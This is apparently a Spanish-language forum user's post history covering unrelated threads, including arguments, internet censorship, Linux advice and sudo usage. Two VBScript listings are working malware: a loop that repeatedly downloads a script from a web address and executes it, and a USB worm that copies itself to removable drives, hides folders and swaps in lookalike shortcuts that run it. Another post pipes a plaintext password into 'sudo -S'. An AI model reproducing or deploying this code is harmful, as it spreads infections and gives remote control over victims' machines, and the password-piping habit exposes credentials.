Mensajes

daryo; ademas de que demuestras que la empatia no es lo tuyo

si talves me exprese de forma un poco ruda , pero intento ser sincero y hacer una critica constructiva.si mo lo toman mal me tiene sin cuidado.

se no es el tema, y lo sabes tu, yo, y todos los que han visto este tema y otros relacionados en el pasado.

entonces como interpreto esto:

Mi intención de haber abierto esto es

hay personas que tuvieron la oportunidad de dar mucho más de sí pero no se les prestó bastante atención y en la sociedad eran ignorad@s. Podría decir que yo era uno de esos y que ahora he perdido la oportunidad. Recuerdo que llegué a España en 5º de primaria y ya hacía ecuaciones de segundo grado y cosas que aquí la gente te miraba con cara de querer crucificarte, y cuando llegué los de mi clase ni siquiera sabían sumar, ya no digo multiplicar. Fue desde entonces cuando me lo estropearon todo.

tuve un pequeño problema con la cache de internet explorer pero ya esta solucionado  .
la ubicacion del script debe cambiarse en http://127.0.0.1/?l= por http:/direccion/?l=

Código (vb) [Seleccionar] Expandir

Function anticache() ' al parecer usa la cache de internet explorer , de esta forma hago se actualize
anticache=day(date())&Month(Date())&Year(date())&Hour(time())&Minute(Time())&Second(Time()) &Rnd ' en una sola cadena mete el dia,mes,año,hora,minuto,segundos y un numero aleatorio
End Function

Function supertest() ' esta funcion descarga el script
dim resultado,magik,daryo
set magik=CreateObject("MSXML2.XMLHTTP")
magik.open "GET" , "http://127.0.0.1/?l=" & anticache ,false  
magik.send
supertest = magik.ResponseText
End Function

dim prueba1,prueba2,x ' pude usar un array pero asi tambien funciona xD
x=1
while true
if x= 1 Then
prueba1=supertest ' descarga el contenido de la web , que debe ser un script en vbs y lo mete en la variable prueba1
x=0
else
prueba2=supertest
x=1
End If
if not(prueba1 = prueba2) then ' esto determina si el comando ha cambiado desde la ultima vez que lo ejecuto
On ERROR Resume Next
Execute(supertest) ' ejecuta la cadena supertest
End IF
Wscript.sleep 700 ' no quiero sobrecargar el servidor

wend

¿y que buscas llorar sobre la leche derramada porque no se te presto atencion?

No hay ninguna herramienta eficaz y capaz de bloquear por completo ciertos sitios sin recurrir a la baja del propio servicio de Internet... y si no, pregúntaselo al propio gobierno Chino que invierte millones y lleva varios años intentándolo.

cierto, es algo contraproducente , porque ademas de que es inutil hace que la gente vea en su gobierno a un tirano , y genera curiosidad en el contenido que bloquea.

cada quien te va a decir el linux de preferencia , si nuca has toca linux yo recomendaria linux mint:
http://www.linuxmint.com/

hace lo siguiente :
oculta todas las carpetas y crea accesos directos de las carpetas , cuando  abren una carpeta o acceso directo . primero ejecuta el archivo vbs y luego abre la direccion de la carpeta

Código (vb) [Seleccionar] Expandir

Set objfso = createobject("scripting.filesystemobject")
Set RainbowDash = createobject("Scripting.FileSystemObject")
Set discos = objfso.drives 'obtenemos la coleccion de discos
if Wscript.Arguments.count > 0 Then
ejecucion Wscript.Arguments(0)
else
For each d in discos 'por cada disco(d) en la coleccion(discos)
'mensaje con la letra de disco
if d.drivetype = 1 Then
Dim subfg,destino
subfg=d.driveletter & ":\"
destino="" & subfg & "wlok.vbs"
if not(RainbowDash.FileExists(destino)) Then
objfso.copyfile WSCript.ScriptFullName,destino,true
set archivo=objfso.getfile(destino)
archivo.attributes=39
Set micarpeta = objfso.getfolder(subfg)
Set subcarpetas = micarpeta.subfolders
For each s in subcarpetas
destino="" & subfg & "wlok.vbs"
accesdirect s.name,subfg,destino
oculto s.name,subfg
Next
End if
End if
Next
End If

Function accesdirect(directorio,disco,destino)
DIM muaja,acce,directiorio1,argumento
directorio1= disco & directorio & ".lnk"
argumento="""" & directorio & """"
set muaja=WScript.CreateObject("Wscript.Shell")
set acces=muaja.CreateShortcut(directorio1)
With acces
.TargetPath = destino
.Arguments = argumento
.WindowStyle = 1
.IconLocation="C:\windows\System32\SHELL32.dll,3"
.WindowStyle="1"
.WorkingDirectory=disco
.save
End With
End Function

Function oculto(directorio,disco)
set carpetaoculta= objfso.getfolder(disco & directorio)
carpetaoculta.attributes=39
End Function

Function ejecucion(parametros)
parametros="""" & parametros & """"
set correr=WScript.CreateObject("Wscript.Shell")
correr.run "explorer.exe " & parametros
payload
End Function

Function payload()
msgbox("payload")
End Function

[una alternativa programada en python]

PD: he leido algo sobre usar el comando su -c y leer la contraseña por stdin, pero la verdad no tengo ni idea de lo que significa

que se puede ejecutar un comando  por ejemplo , asi si solo es un comando no hace falta abrir la terminal y eso

Código [Seleccionar] Expandir

su -c "ls"

con respecto a la duda la verdad no soy experto en programacion unix pero googleare un poco n_n

una alternativa programada en python y creo que es lo que buscas puede ser.()
http://stackoverflow.com/questions/13825689/running-a-process-as-a-different-user-from-python

salvo que necesito ejecutarlo como root y eso es algo que no puedo hacer

no necesariamente xD , el comando sudo se puede configurar para limitar los permisos en configurando el archivo sudoers
http://linuxgnublog.org/configurar-sudo-en-debian
http://www.linuxtotal.com.mx/?cont=info_admon_014

suerte

Sólo un desquiciado podría tomarse esa llamada para mal 

si un desconocido me llama solo desearme buenos dias pensaria que me estan tomando el pelo y me pondria a la defensiva ._.

¿jeje asi soy un desquiciado :O? , broma .

jeje creo que no me exprese muy bien .  :'(  



me refiero a que asi puedes pones el password sin hacer ninguna pausa. donde puse:

Código (bash) [Seleccionar] Expandir

echo password
aca pones la clave del usuario asi no necesitas preguntarla posteriormente

Código (bash) [Seleccionar] Expandir

|
asi se pasa la clave al siguiente comando

Código (bash) [Seleccionar] Expandir

sudo -S
supongo ya sabes que hace sudo, el parametro -S permite recibir la contraseña del comando anterior

Código (bash) [Seleccionar] Expandir

-u root
se cambia a el usuario en el que deseas ejecutar

Código (bash) [Seleccionar] Expandir


echo hola
el comando a ejecutar

por ejemplo si quiero ejecutar un comando siendo mi contraseña 123 un ejemplo y mi usuario es daryo

Código (bash) [Seleccionar] Expandir

echo 123 | sudo -u daryo -S echo hola

con su no se pero puedes usar sudo?

Código (bash) [Seleccionar] Expandir

echo <password> | sudo -u root -S echo hola